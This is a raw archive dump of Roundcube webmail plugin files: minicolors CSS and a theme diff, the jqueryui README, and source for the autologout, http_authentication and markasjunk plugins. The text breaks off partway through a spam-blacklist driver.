#000;border-radius:10px;margin-top:-6px;margin-left:-6px;background:0 0}.minicolors-grid .minicolors-picker>div{position:absolute;top:0;left:0;width:8px;height:8px;border-radius:8px;border:solid 2px #fff;box-sizing:content-box}.minicolors-picker{position:absolute;top:0;left:0;width:18px;height:2px;background:#fff;border:solid 1px #000;margin-top:-2px;box-sizing:content-box}.minicolors-swatches,.minicolors-swatches li{margin:5px 0 3px 5px;padding:0;list-style:none;overflow:hidden}[dir=rtl] .minicolors-swatches,[dir=rtl] .minicolors-swatches li{margin:5px 5px 3px 0}.minicolors-swatches .minicolors-swatch{position:relative;float:left;cursor:pointer;margin:0 4px 0 0}[dir=rtl] .minicolors-swatches .minicolors-swatch{float:right;margin:0 0 0 4px}.minicolors-with-opacity .minicolors-swatches .minicolors-swatch{margin-right:7px}[dir=rtl] .minicolors-with-opacity .minicolors-swatches .minicolors-swatch{margin-right:0;margin-left:7px}.minicolors-swatch.selected{border-color:#000}.minicolors-inline{display:inline-block}.minicolors-inline .minicolors-input{display:none!important}.minicolors-inline .minicolors-panel{position:relative;top:auto;left:auto;box-shadow:none;z-index:auto;display:inline-block}[dir=rtl] .minicolors-inline .minicolors-panel{right:auto}.minicolors-theme-bootstrap .minicolors-swatch{z-index:2;top:4px;left:4px;width:25px;height:25px;border-radius:.25rem}[dir=rtl] .minicolors-theme-bootstrap .minicolors-swatch{right:3px}.minicolors-theme-bootstrap .minicolors-swatches .minicolors-swatch{margin-bottom:2px;top:0;left:0;width:20px;height:20px}[dir=rtl] .minicolors-theme-bootstrap .minicolors-swatches .minicolors-swatch{right:0}.minicolors-theme-bootstrap .minicolors-swatch-color{border-radius:inherit}.minicolors-theme-bootstrap.minicolors-position-right>.minicolors-swatch{left:auto;right:3px}[dir=rtl] .minicolors-theme-bootstrap.minicolors-position-left>.minicolors-swatch{right:auto;left:3px}.minicolors-theme-bootstrap .minicolors-input{float:none;padding-left:36px}[dir=rtl] .minicolors-theme-bootstrap .minicolors-input{text-align:right;unicode-bidi:plaintext;padding-left:12px;padding-right:34px}.minicolors-theme-bootstrap.minicolors-position-right .minicolors-input{padding-right:44px;padding-left:12px}[dir=rtl] .minicolors-theme-bootstrap.minicolors-position-left .minicolors-input{padding-right:12px;padding-left:44px}.minicolors-theme-bootstrap .minicolors-input.input-lg+.minicolors-swatch{top:4px;left:4px;width:37px;height:37px;border-radius:5px}[dir=rtl] .minicolors-theme-bootstrap .minicolors-input.input-lg+.minicolors-swatch{right:4px}.minicolors-theme-bootstrap .minicolors-input.input-sm+.minicolors-swatch{width:24px;height:24px}.minicolors-theme-bootstrap .minicolors-input.input-xs+.minicolors-swatch{width:18px;height:18px}.input-group .minicolors-theme-bootstrap:not(:first-child) .minicolors-input{border-top-left-radius:0;border-bottom-left-radius:0}[dir=rtl] .input-group .minicolors-theme-bootstrap .minicolors-input{border-radius:4px}[dir=rtl] .input-group .minicolors-theme-bootstrap:not(:first-child) .minicolors-input{border-top-right-radius:0;border-bottom-right-radius:0}[dir=rtl] .input-group .minicolors-theme-bootstrap:not(:last-child) .minicolors-input{border-top-left-radius:0;border-bottom-left-radius:0}[dir=rtl] .input-group .form-control,[dir=rtl] .input-group-addon,[dir=rtl] .input-group-btn>.btn,[dir=rtl] .input-group-btn>.btn-group>.btn,[dir=rtl] .input-group-btn>.dropdown-toggle{border:1px solid #ccc;border-radius:4px}[dir=rtl] .input-group .form-control:first-child,[dir=rtl] .input-group-addon:first-child,[dir=rtl] .input-group-btn:first-child>.btn,[dir=rtl] .input-group-btn:first-child>.btn-group>.btn,[dir=rtl] .input-group-btn:first-child>.dropdown-toggle,[dir=rtl] .input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),[dir=rtl] .input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0;border-left:0}[dir=rtl] .input-group .form-control:last-child,[dir=rtl] .input-group-addon:last-child,[dir=rtl] .input-group-btn:last-child>.btn,[dir=rtl] .input-group-btn:last-child>.btn-group>.btn,[dir=rtl] .input-group-btn:last-child>.dropdown-toggle,[dir=rtl] .input-group-btn:first-child>.btn:not(:first-child),[dir=rtl] .input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}PKh�\��JS��5plugins/jqueryui/themes/elastic/jquery.minicolors.cssnu�[���.minicolors {
  position: relative;
}

.minicolors-sprite {
  background-image: url(images/jquery.minicolors.png);
}

.minicolors-swatch {
  position: absolute;
  vertical-align: middle;
  background-position: -80px 0;
  cursor: text;
  padding: 0;
  margin: 0;
  display: inline-block;
}

.minicolors-swatch-color {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
}

.minicolors input[type=hidden] + .minicolors-swatch {
  width: 28px;
  position: static;
  cursor: pointer;
}

.minicolors input[type=hidden][disabled] + .minicolors-swatch {
  cursor: default;
}

/* Panel */
.minicolors-panel {
  position: absolute;
  width: 173px;
  background: white;
  z-index: 99999;
  box-sizing: content-box;
  display: none;
}

.minicolors-panel.minicolors-visible {
  display: block;
}

/* Panel positioning */
.minicolors-position-top .minicolors-panel {
  top: -154px;
}

.minicolors-position-right .minicolors-panel {
  right: 0;
}

.minicolors-position-bottom .minicolors-panel {
  top: auto;
}

.minicolors-position-left .minicolors-panel {
  left: 0;
}

.minicolors-with-opacity .minicolors-panel {
  width: 194px;
}

.minicolors .minicolors-grid {
  position: relative;
  top: 1px;
  left: 1px; /* LTR */
  width: 150px;
  height: 150px;
  margin-bottom: 2px;
  background-position: -120px 0;
  cursor: crosshair;
}
[dir=rtl] .minicolors .minicolors-grid {
  right: 1px;
}

.minicolors .minicolors-grid-inner {
  position: absolute;
  top: 0;
  left: 0;
  width: 150px;
  height: 150px;
}

.minicolors-slider-saturation .minicolors-grid {
  background-position: -420px 0;
}

.minicolors-slider-saturation .minicolors-grid-inner {
  background-position: -270px 0;
  background-image: inherit;
}

.minicolors-slider-brightness .minicolors-grid {
  background-position: -570px 0;
}

.minicolors-slider-brightness .minicolors-grid-inner {
  background-color: black;
}

.minicolors-slider-wheel .minicolors-grid {
  background-position: -720px 0;
}

.minicolors-slider,
.minicolors-opacity-slider {
  position: absolute;
  top: 2px;
  left: 153px; /* LTR */
  width: 20px;
  height: 150px;
  background-color: white;
  background-position: 0 0;
  cursor: row-resize;
}
[dir=rtl] .minicolors-slider,
[dir=rtl] .minicolors-opacity-slider {
  right: 152px;
}

.minicolors-slider-saturation .minicolors-slider {
  background-position: -60px 0;
}

.minicolors-slider-brightness .minicolors-slider {
  background-position: -20px 0;
}

.minicolors-slider-wheel .minicolors-slider {
  background-position: -20px 0;
}

.minicolors-opacity-slider {
  left: 173px; /* LTR */
  background-position: -40px 0;
  display: none;
}
[dir=rtl] .minicolors-opacity-slider {
  right: 173px;
}

.minicolors-with-opacity .minicolors-opacity-slider {
  display: block;
}

/* Pickers */
.minicolors-grid .minicolors-picker {
  position: absolute;
  top: 70px;
  left: 70px;
  width: 12px;
  height: 12px;
  border: solid 1px black;
  border-radius: 10px;
  margin-top: -6px;
  margin-left: -6px;
  background: none;
}

.minicolors-grid .minicolors-picker > div {
  position: absolute;
  top: 0;
  left: 0;
  width: 8px;
  height: 8px;
  border-radius: 8px;
  border: solid 2px white;
  box-sizing: content-box;
}

.minicolors-picker {
  position: absolute;
  top: 0;
  left: 0;
  width: 18px;
  height: 2px;
  background: white;
  border: solid 1px black;
  margin-top: -2px;
  box-sizing: content-box;
}

/* Swatches */
.minicolors-swatches,
.minicolors-swatches li {
  margin: 5px 0 3px 5px; /* LTR */
  padding: 0;
  list-style: none;
  overflow: hidden;
}
[dir=rtl] .minicolors-swatches,
[dir=rtl] .minicolors-swatches li {
  margin: 5px 5px 3px 0;
}

.minicolors-swatches .minicolors-swatch {
  position: relative;
  float: left; /* LTR */
  cursor: pointer;
  margin:0 4px 0 0; /* LTR */
}
[dir=rtl] .minicolors-swatches .minicolors-swatch {
  float: right;
  margin:0 0 0 4px;
}

.minicolors-with-opacity .minicolors-swatches .minicolors-swatch {
  margin-right: 7px; /* LTR */
}
[dir=rtl] .minicolors-with-opacity .minicolors-swatches .minicolors-swatch {
  margin-right: 0;
  margin-left: 7px;
}

.minicolors-swatch.selected {
  border-color: #000;
}

/* Inline controls */
.minicolors-inline {
  display: inline-block;
}

.minicolors-inline .minicolors-input {
  display: none !important;
}

.minicolors-inline .minicolors-panel {
  position: relative;
  top: auto;
  left: auto; /* LTR */
  box-shadow: none;
  z-index: auto;
  display: inline-block;
}
[dir=rtl] .minicolors-inline .minicolors-panel {
  right: auto;
}

/* Bootstrap theme */
.minicolors-theme-bootstrap .minicolors-swatch {
  z-index: 2;
  top: 4px;
  left: 4px; /* LTR */
  width: 25px;
  height: 25px;
  border-radius: .25rem;
}
[dir=rtl] .minicolors-theme-bootstrap .minicolors-swatch {
  right: 3px;
}
.minicolors-theme-bootstrap .minicolors-swatches .minicolors-swatch {
  margin-bottom: 2px;
  top: 0;
  left: 0; /* LTR */
  width: 20px;
  height: 20px;
}
[dir=rtl] .minicolors-theme-bootstrap .minicolors-swatches .minicolors-swatch {
  right: 0;
}
.minicolors-theme-bootstrap .minicolors-swatch-color {
  border-radius: inherit;
}
.minicolors-theme-bootstrap.minicolors-position-right > .minicolors-swatch {
  left: auto; /* LTR */
  right: 3px; /* LTR */
}
[dir=rtl] .minicolors-theme-bootstrap.minicolors-position-left > .minicolors-swatch {
  right: auto;
  left: 3px;
}
.minicolors-theme-bootstrap .minicolors-input {
  float: none;
  padding-left: 36px; /* LTR */
}
[dir=rtl] .minicolors-theme-bootstrap .minicolors-input {
  text-align: right;
  unicode-bidi: plaintext;
  padding-left: 12px;
  padding-right: 34px;
}
.minicolors-theme-bootstrap.minicolors-position-right .minicolors-input {
  padding-right: 44px; /* LTR */
  padding-left: 12px; /* LTR */
}
[dir=rtl] .minicolors-theme-bootstrap.minicolors-position-left .minicolors-input {
  padding-right: 12px;
  padding-left: 44px;
}
.minicolors-theme-bootstrap .minicolors-input.input-lg + .minicolors-swatch {
  top: 4px;
  left: 4px; /* LTR */
  width: 37px;
  height: 37px;
  border-radius: 5px;
}
[dir=rtl] .minicolors-theme-bootstrap .minicolors-input.input-lg + .minicolors-swatch {
  right: 4px;
}
.minicolors-theme-bootstrap .minicolors-input.input-sm + .minicolors-swatch {
  width: 24px;
  height: 24px;
}
.minicolors-theme-bootstrap .minicolors-input.input-xs + .minicolors-swatch {
  width: 18px;
  height: 18px;
}
.input-group .minicolors-theme-bootstrap:not(:first-child) .minicolors-input {
  border-top-left-radius: 0; /* LTR */
  border-bottom-left-radius: 0; /* LTR */
}
[dir=rtl] .input-group .minicolors-theme-bootstrap .minicolors-input {
  border-radius: 4px;
}
[dir=rtl] .input-group .minicolors-theme-bootstrap:not(:first-child) .minicolors-input {
  border-top-right-radius: 0;
  border-bottom-right-radius: 0;
}
[dir=rtl] .input-group .minicolors-theme-bootstrap:not(:last-child) .minicolors-input {
  border-top-left-radius: 0;
  border-bottom-left-radius: 0;
}
/* bootstrap input-group rtl override */
[dir=rtl] .input-group .form-control,
[dir=rtl] .input-group-addon,
[dir=rtl] .input-group-btn > .btn,
[dir=rtl] .input-group-btn > .btn-group > .btn,
[dir=rtl] .input-group-btn > .dropdown-toggle {
  border: 1px solid #ccc;
  border-radius: 4px;
}
[dir=rtl] .input-group .form-control:first-child,
[dir=rtl] .input-group-addon:first-child,
[dir=rtl] .input-group-btn:first-child > .btn,
[dir=rtl] .input-group-btn:first-child > .btn-group > .btn,
[dir=rtl] .input-group-btn:first-child > .dropdown-toggle,
[dir=rtl] .input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),
[dir=rtl] .input-group-btn:last-child > .btn-group:not(:last-child) > .btn {
  border-top-left-radius: 0;
  border-bottom-left-radius: 0;
  border-left: 0;
}
[dir=rtl] .input-group .form-control:last-child,
[dir=rtl] .input-group-addon:last-child,
[dir=rtl] .input-group-btn:last-child > .btn,
[dir=rtl] .input-group-btn:last-child > .btn-group > .btn,
[dir=rtl] .input-group-btn:last-child > .dropdown-toggle,
[dir=rtl] .input-group-btn:first-child > .btn:not(:first-child),
[dir=rtl] .input-group-btn:first-child > .btn-group:not(:first-child) > .btn {
  border-top-right-radius: 0;
  border-bottom-right-radius: 0;
}
PKh�\\;Ei

:plugins/jqueryui/themes/elastic/jquery.minicolors.css.diffnu�[���--- jquery.minicolors.css.orig	2019-01-30 11:43:50.000000000 +0100
+++ jquery.minicolors.css	2019-01-30 11:53:43.762019000 +0100
@@ -10,7 +10,6 @@
   position: absolute;
   vertical-align: middle;
   background-position: -80px 0;
-  border: solid 1px #ccc;
   cursor: text;
   padding: 0;
   margin: 0;
@@ -40,8 +39,6 @@
   position: absolute;
   width: 173px;
   background: white;
-  border: solid 1px #CCC;
-  box-shadow: 0 0 20px rgba(0, 0, 0, .2);
   z-index: 99999;
   box-sizing: content-box;
   display: none;
@@ -118,8 +115,8 @@
 .minicolors-slider,
 .minicolors-opacity-slider {
   position: absolute;
-  top: 1px;
-  left: 152px; /* LTR */
+  top: 2px;
+  left: 153px; /* LTR */
   width: 20px;
   height: 150px;
   background-color: white;
@@ -250,67 +247,14 @@
   right: auto;
 }
 
-/* Default theme */
-.minicolors-theme-default .minicolors-swatch {
-  top: 5px;
-  left: 5px; /* LTR */
-  width: 18px;
-  height: 18px;
-}
-[dir=rtl] .minicolors-theme-default .minicolors-swatch {
-  right: 5px;
-}
-.minicolors-theme-default .minicolors-swatches .minicolors-swatch {
-  margin-bottom: 2px;
-  top: 0;
-  left: 0; /* LTR */
-  width: 18px;
-  height: 18px;
-}
-[dir=rtl] .minicolors-theme-default .minicolors-swatches .minicolors-swatch {
-  right: 0;
-}
-.minicolors-theme-default.minicolors-position-right .minicolors-swatch {
-  left: auto; /* LTR */
-  right: 5px; /* LTR */
-}
-[dir=rtl] .minicolors-theme-default.minicolors-position-left .minicolors-swatch {
-  right: auto;
-  left: 5px;
-}
-.minicolors-theme-default.minicolors {
-  width: auto;
-  display: inline-block;
-}
-.minicolors-theme-default .minicolors-input {
-  height: 20px;
-  width: auto;
-  display: inline-block;
-  padding-left: 26px; /* LTR */
-}
-[dir=rtl] .minicolors-theme-default .minicolors-input {
-  text-align: right;
-  unicode-bidi: plaintext;
-  padding-left: 1px;
-  padding-right: 26px;
-}
-.minicolors-theme-default.minicolors-position-right .minicolors-input {
-  padding-right: 26px; /* LTR */
-  padding-left: inherit; /* LTR */
-}
-[dir=rtl] .minicolors-theme-default.minicolors-position-left .minicolors-input {
-  padding-right: inherit;
-  padding-left: 26px;
-}
-
 /* Bootstrap theme */
 .minicolors-theme-bootstrap .minicolors-swatch {
   z-index: 2;
-  top: 3px;
-  left: 3px; /* LTR */
-  width: 28px;
-  height: 28px;
-  border-radius: 3px;
+  top: 4px;
+  left: 4px; /* LTR */
+  width: 25px;
+  height: 25px;
+  border-radius: .25rem;
 }
 [dir=rtl] .minicolors-theme-bootstrap .minicolors-swatch {
   right: 3px;
@@ -338,13 +282,13 @@
 }
 .minicolors-theme-bootstrap .minicolors-input {
   float: none;
-  padding-left: 44px; /* LTR */
+  padding-left: 36px; /* LTR */
 }
 [dir=rtl] .minicolors-theme-bootstrap .minicolors-input {
   text-align: right;
   unicode-bidi: plaintext;
   padding-left: 12px;
-  padding-right: 44px;
+  padding-right: 34px;
 }
 .minicolors-theme-bootstrap.minicolors-position-right .minicolors-input {
   padding-right: 44px; /* LTR */
@@ -417,16 +361,3 @@
   border-top-right-radius: 0;
   border-bottom-right-radius: 0;
 }
-
-/* Semantic Ui theme */
-.minicolors-theme-semanticui .minicolors-swatch {
-  top: 0;
-  left: 0; /* LTR */
-  padding: 18px;
-}
-[dir=rtl] .minicolors-theme-semanticui .minicolors-swatch {
-  right: 0;
-}
-.minicolors-theme-semanticui input {
-  text-indent: 30px;
-}
PKh�\Fz�

plugins/jqueryui/READMEnu�[���+-------------------------------------------------------------------------+
|
|  Author:  Cor Bosman (roundcube@wa.ter.net)
|  Plugin:  jqueryui
|  Version: 1.12.0
|  Purpose: Add jquery-ui to roundcube for every plugin to use
|
+-------------------------------------------------------------------------+

jqueryui adds the complete jquery-ui library including the smoothness
theme to roundcube. This allows other plugins to use jquery-ui without
having to load their own version. The benefit of using 1 central jquery-ui
is that we wont run into problems of conflicting jquery libraries being
loaded. All plugins that want to use jquery-ui should use this plugin as
a requirement.

It is possible for plugin authors to override the default smoothness theme.
To do this, go to the jquery-ui website, and use the download feature to
download your own theme. In the advanced settings, provide a scope class to
your theme and add that class to all your UI elements. Finally, load the
downloaded css files in your own plugin.

Some jquery-ui modules provide localization. One example is the datepicker module.
If you want to load localization for a specific module, then set up config.inc.php.
Check the config.inc.php.dist file on how to set this up for the datepicker module.

As of version 1.8.6 this plugin also supports other themes. If you're a theme
developer and would like a different default theme to be used for your RC theme
then let me know and we can set things up.

This also provides some common UI modules e.g. miniColors extension.
PKh�\�n���� plugins/autologout/composer.jsonnu�[���{
    "name": "roundcube/autologout",
    "type": "roundcube-plugin",
    "description": "Plugin to auto log out users with a POST request sent from an external site.",
    "license": "GPLv3+",
    "version": "1.0",
    "authors": [
        {
            "name": "Cover Tower LLC",
            "email": "contact@covertower.com"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\������!plugins/autologout/autologout.phpnu�[���<?php

/**
 * Plugin to auto log out users with a POST request sent from an external site.
 *
 * @license GNU GPLv3+
 * @author  Cover Tower LLC
 *
 * First enable this plugin by setting $config['plugins'] = array(..., 'autologout')
 * in the Roundcube configuration file (config.inc.php). To use it, embed
 * a form like the following in a web page:
 *
 * <form id="rcLogoutForm" method="POST" action="https://mail.example.com/">
 * <input type="hidden" name="_action" value="logout" />
 * <input type="hidden" name="_task" value="logout" />
 * <input type="hidden" name="_autologout" value="1" />
 * <input id="loSubmitButton" type="submit" value="Logout" />
 * </form>
 *
 * This plugin won't work if the POST request is made using CURL or other
 * methods. It will only work if the POST request is made by submitting a
 * form similar to the one from above. The form can be hidden and it can
 * be sent automatically using JavaScript or JQuery (for example by using:
 * $("#loSubmitButton").click();)
 */

class autologout extends rcube_plugin
{
    public $task = 'logout';

    /**
     * Plugin initialization
     */
    public function init()
    {
        $this->add_hook('startup', [$this, 'startup']);
    }

    /**
     * Request handler
     */
    public function startup($args)
    {
        $rcmail = rcmail::get_instance();

        // Change task and action to logout
        if (!empty($_SESSION['user_id']) && !empty($_POST['_autologout']) && $this->known_client()) {
            $rcmail->logout_actions();
            $rcmail->kill_session();
        }

        return $args;
    }

    /**
     * Checks if the request came from an allowed client IP
     */
    private function known_client()
    {
        /*
         * If you want to restrict the use of this plugin to specific
         * remote clients, you can verify the remote client's IP like this:
         *
         * return in_array(rcube_utils::remote_addr(), ['123.123.123.123', '124.124.124.124']);
         */

        return true;
    }
}
PKh�\�a#�U
U
3plugins/http_authentication/http_authentication.phpnu�[���<?php

/**
 * HTTP Basic Authentication
 *
 * Make use of an existing HTTP authentication and perform login with the existing user credentials
 *
 * Configuration:
 * // redirect the client to this URL after logout. This page is then responsible to clear HTTP auth
 * $config['logout_url'] = 'http://server.tld/logout.html';
 *
 * See logout.html (in this directory) for an example how HTTP auth can be cleared.
 *
 * For other configuration options, see config.inc.php.dist!
 *
 * @license GNU GPLv3+
 * @author Thomas Bruederli
 */
class http_authentication extends rcube_plugin
{
    private $redirect_query;

    function init()
    {
        $this->add_hook('startup', [$this, 'startup']);
        $this->add_hook('authenticate', [$this, 'authenticate']);
        $this->add_hook('logout_after', [$this, 'logout']);
        $this->add_hook('login_after', [$this, 'login']);
    }

    function startup($args)
    {
        if (!empty($_SERVER['PHP_AUTH_USER'])) {
            $rcmail = rcmail::get_instance();
            $rcmail->add_shutdown_function(['http_authentication', 'shutdown']);

            // handle login action
            if (empty($_SESSION['user_id'])) {
                $args['action']       = 'login';
                $this->redirect_query = $_SERVER['QUERY_STRING'];
            }
            // Set user password in session (see shutdown() method for more info)
            else if (!empty($_SESSION['user_id']) && empty($_SESSION['password'])
                 && !empty($_SERVER['PHP_AUTH_PW'])
            ) {
                $_SESSION['password'] = $rcmail->encrypt($_SERVER['PHP_AUTH_PW']);
            }
        }

        return $args;
    }

    function authenticate($args)
    {
        // Load plugin's config file
        $this->load_config();

        $host = rcmail::get_instance()->config->get('http_authentication_host');
        if (is_string($host) && trim($host) !== '' && empty($args['host'])) {
            $args['host'] = rcube_utils::idn_to_ascii(rcube_utils::parse_host($host));
        }

        // Allow entering other user data in login form,
        // e.g. after log out (#1487953)
        if (!empty($args['user'])) {
            return $args;
        }

        if (!empty($_SERVER['PHP_AUTH_USER'])) {
            $args['user'] = $_SERVER['PHP_AUTH_USER'];
            if (!empty($_SERVER['PHP_AUTH_PW'])) {
                $args['pass'] = $_SERVER['PHP_AUTH_PW'];
            }
        }

        $args['cookiecheck'] = false;
        $args['valid']       = true;

        return $args;
    }

    function logout($args)
    {
        // redirect to configured URL in order to clear HTTP auth credentials
        if (!empty($_SERVER['PHP_AUTH_USER']) && $args['user'] == $_SERVER['PHP_AUTH_USER']) {
            if ($url = rcmail::get_instance()->config->get('logout_url')) {
                header("Location: $url", true, 307);
                exit;
            }
        }
    }

    static function shutdown()
    {
        // There's no need to store password (even if encrypted) in session
        // We'll set it back on startup (#1486553)
        rcmail::get_instance()->session->remove('password');
    }

    function login($args)
    {
        // Redirect to the previous QUERY_STRING
        if ($this->redirect_query) {
            header('Location: ./?' . $this->redirect_query);
            exit;
        }

        return $args;
    }
}
PKh�\9	�::)plugins/http_authentication/composer.jsonnu�[���{
    "name": "roundcube/http_authentication",
    "type": "roundcube-plugin",
    "description": "HTTP Basic Authentication",
    "license": "GPL-3.0-or-later",
    "version": "1.5",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\Y��/plugins/http_authentication/config.inc.php.distnu�[���<?php

// HTTP Basic Authentication Plugin options
// ----------------------------------------
// Default mail host to log-in using user/password from HTTP Authentication.
// This is useful if the users are free to choose arbitrary mail hosts (or
// from a list), but have one host they usually want to log into.
// Unlike $config['imap_host'] this must be a string!
$config['http_authentication_host'] = '';
PKh�\$2����'plugins/http_authentication/logout.htmlnu�[���<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Logout</title>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6/jquery.min.js"></script>
<script type="text/javascript">

// as seen on http://stackoverflow.com/questions/31326/is-there-a-browser-equivalent-to-ies-clearauthenticationcache
$(document).ready(function(){
	if (document.all && document.execCommand) {
		document.execCommand("ClearAuthenticationCache", "false");
	 }
	 else {
		 $.ajax({
			url: location.href,
			type: 'POST',
			username: '__LOGOUT__',
			password: '***********'
		});
	}
});

</script>
</head>
<body>
<h1>You've successfully been logged out!</h1>

</body>PKh�\�T�Z plugins/markasjunk/composer.jsonnu�[���{
    "name": "roundcube/markasjunk",
    "type": "roundcube-plugin",
    "description": "Adds buttons to mark messages as Junk/Non-Junk with moving to the Junk folder and Spam/Ham learning.",
    "license": "GPL-3.0-or-later",
    "version": "2.0",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        },
        {
            "name": "Philip Weir",
            "email": "roundcube@tehinterweb.co.uk",
            "role": "Developer"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\��Go@@+plugins/markasjunk/drivers/edit_headers.phpnu�[���<?php

/**
 * Edit headers
 *
 * @version 1.0
 *
 * @author Philip Weir
 *
 * Copyright (C) 2012-2014 Philip Weir
 *
 * This driver is part of the MarkASJunk plugin for Roundcube.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see https://www.gnu.org/licenses/.
 */
class markasjunk_edit_headers
{
    public function spam(&$uids, $src_mbox, $dst_mbox)
    {
        $this->_edit_headers($uids, true, $dst_mbox);
    }

    public function ham(&$uids, $src_mbox, $dst_mbox)
    {
        $this->_edit_headers($uids, false, $dst_mbox);
    }

    private function _edit_headers(&$uids, $spam, $dst_mbox)
    {
        $rcube = rcube::get_instance();
        $args  = $rcube->config->get($spam ? 'markasjunk_spam_patterns' : 'markasjunk_ham_patterns');

        if (empty($args['patterns'])) {
            return;
        }

        $new_uids = [];

        foreach ($uids as $uid) {
            $raw_message = $rcube->storage->get_raw_body($uid);
            $raw_headers = $rcube->storage->get_raw_headers($uid);

            $updated_headers = preg_replace($args['patterns'], $args['replacements'], $raw_headers);
            $raw_message     = str_replace($raw_headers, $updated_headers, $raw_message);

            $saved = $rcube->storage->save_message($dst_mbox, $raw_message);

            if ($saved !== false) {
                $rcube->output->command('markasjunk_move', null, [$uid]);
                array_push($new_uids, $saved);
            }
        }

        if (count($new_uids) > 0) {
            $uids = $new_uids;
        }
    }
}
PKh�\8��(plugins/markasjunk/drivers/sa_detach.phpnu�[���<?php

/**
 * SpamAssassin detach ham driver
 *
 * @version 2.0
 *
 * @author Philip Weir
 *
 * Copyright (C) 2011-2014 Philip Weir
 *
 * This driver is part of the MarkASJunk plugin for Roundcube.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see https://www.gnu.org/licenses/.
 */
class markasjunk_sa_detach
{
    public function spam($uids, $src_mbox, $dst_mbox)
    {
        // do nothing
    }

    public function ham(&$uids, $src_mbox, $dst_mbox)
    {
        $rcube    = rcube::get_instance();
        $storage  = $rcube->storage;
        $new_uids = [];

        foreach ($uids as $uid) {
            $saved   = false;
            $message = new rcube_message($uid);

            foreach ($message->attachments as $part) {
                if (
                    $part->ctype_primary == 'message'
                    && $part->ctype_secondary == 'rfc822'
                    && !empty($part->ctype_parameters['x-spam-type'])
                    && $part->ctype_parameters['x-spam-type'] == 'original'
                ) {
                    $orig_message_raw = $message->get_part_body($part->mime_id);

                    if ($saved = $storage->save_message($dst_mbox, $orig_message_raw)) {
                        $rcube->output->command('markasjunk_move', null, [$uid]);
                        array_push($new_uids, $saved);
                    }
                }
            }
        }

        if (count($new_uids) > 0) {
            $uids = $new_uids;
        }
    }
}
PKh�\C&VFnn/plugins/markasjunk/drivers/amavis_blacklist.phpnu�[���<?php

/**
 * AmavisD Blacklist driver
 *
 * @version 1.0
 * @requires Amacube plugin
 *
 * @author Der-Jan
 *
 * Copyright (C) 2014 Der-Jan
 *
 * This driver is part of the MarkASJunk plugin for Roundcube.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see https://www.gnu.org/licenses/.
 */

/* #   'SELECT wb'.
 * #   ' FROM wblist JOIN mailaddr ON wblist.sid=mailaddr.id'.
 * #   ' WHERE wblist.rid=? AND mailaddr.email IN (%k)'.
 * #   ' ORDER BY mailaddr.priority DESC';
 */

class markasjunk_amavis_blacklist
{
    private $user_email = '';

    public function spam($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_list($uids, true);
    }

    public function ham($uids, $src_mbox, $dst_mbox)
    {
        $this->_do_list($uids, false);
    }

    private function _do_list($uids, $spam)
    {
        $rcube = rcube::get_instance();
        $this->user_email = $rcube->user->data['username'];

        $config_file = $rcube->config->get('markasjunk_amacube_config');

        if (is_file($config_file) && !$rcube->config->load_from_file($config_file)) {
            rcube::raise_error([
                    'code' => 527, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Failed to load config from $config_file"
                ], true, false
            );

            return false;
        }

        $db = rcube_db::factory($rcube->config->get('amacube_db_dsn'), '', true);
        $db->set_debug((bool) $rcube->config->get('sql_debug'));
        $db->db_connect('w');

        $debug = $rcube->config->get('markasjunk_debug');

        // check DB connections and exit on failure
        if ($err_str = $db->is_error()) {
            rcube::raise_error([
                    'code'    => 603,
                    'type'    => 'db',
                    'message' => $err_str
                ], false, true
            );
        }

        $sql_result = $db->query("SELECT `id` FROM `users` WHERE `email` = ?", $this->user_email);
        if ($sql_result && ($res_array = $db->fetch_assoc($sql_result))) {
            $rid = $res_array['id'];
        }
        else {
            if ($debug) {
                rcube::write_log('markasjunk', $this->user_email . ' not found in users table');
            }

            return false;
        }

        foreach ($uids as $uid) {
            $message = new rcube_message($uid);
            $email   = $message->sender['mailto'];

            // skip invalid emails
            if (!rcube_utils::check_email($email, false)) {
